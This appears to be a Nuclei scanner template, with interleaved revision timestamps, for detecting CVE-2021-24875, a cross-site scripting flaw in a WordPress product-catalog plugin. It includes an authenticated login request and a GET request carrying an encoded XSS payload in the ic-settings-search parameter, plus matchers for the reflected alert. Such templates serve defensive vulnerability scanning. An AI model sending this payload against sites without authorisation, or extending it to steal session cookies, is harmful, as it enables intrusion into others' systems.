2023-03-05 13:42:10 +00:00
id : CVE-2021-24875
info :
2023-03-13 18:05:02 +00:00
name : WordPress eCommerce Product Catalog <3.0.39 - Cross-Site Scripting
2023-03-05 13:42:10 +00:00
author : r3Y3r53
severity : medium
description : |
2023-03-13 18:05:02 +00:00
WordPress eCommerce Product Catalog plugin before 3.0.39 contains a cross-site scripting vulnerability. The plugin does not escape the ic-settings-search parameter before outputting it back in the page in an attribute. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-06 12:09:01 +00:00
remediation : Fixed in version 3.0.39.
2023-03-05 13:42:10 +00:00
reference :
- https://wpscan.com/vulnerability/652efc4a-f931-4668-ae74-a58b288a5715
- https://nvd.nist.gov/vuln/detail/CVE-2021-24875
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2021-24875
cwe-id : CWE-79
2023-07-11 19:49:27 +00:00
epss-score : 0.00143
2023-10-22 12:16:24 +00:00
epss-percentile : 0.49858
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:implecode:ecommerce_product_catalog:*:*:*:*:*:wordpress:*:*
2023-03-05 13:42:10 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : implecode
product : ecommerce_product_catalog
2023-09-06 12:09:01 +00:00
framework : wordpress
2023-03-05 14:19:20 +00:00
tags : wp,authenticated,wpscan,ecommerce-product-catalog,cve,cve2022,xss,wordpress,wp-plugin
2023-03-05 13:42:10 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-05 13:42:10 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/edit.php?post_type=al_product&page=product-settings.php&ic-settings-search=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
matchers :
- type : dsl
dsl :
- 'status_code_2 == 200'
- 'contains(body_2, "alert(document.domain)")'
- 'contains(body_2, "eCommerce Product Catalog")'
condition : and
2023-10-23 07:04:05 +00:00
# digest: 4b0a00483046022100c24045e36d612c6b80c40f83782457fa5ed9473a10e66665aded48f8d6cc00540221008cd0a0a6d21357ee9e74cada491222f7b7e8e1dd85c9e1fd65e24fc3336a4fc2:922c64590222798bb761d5b6d8e72950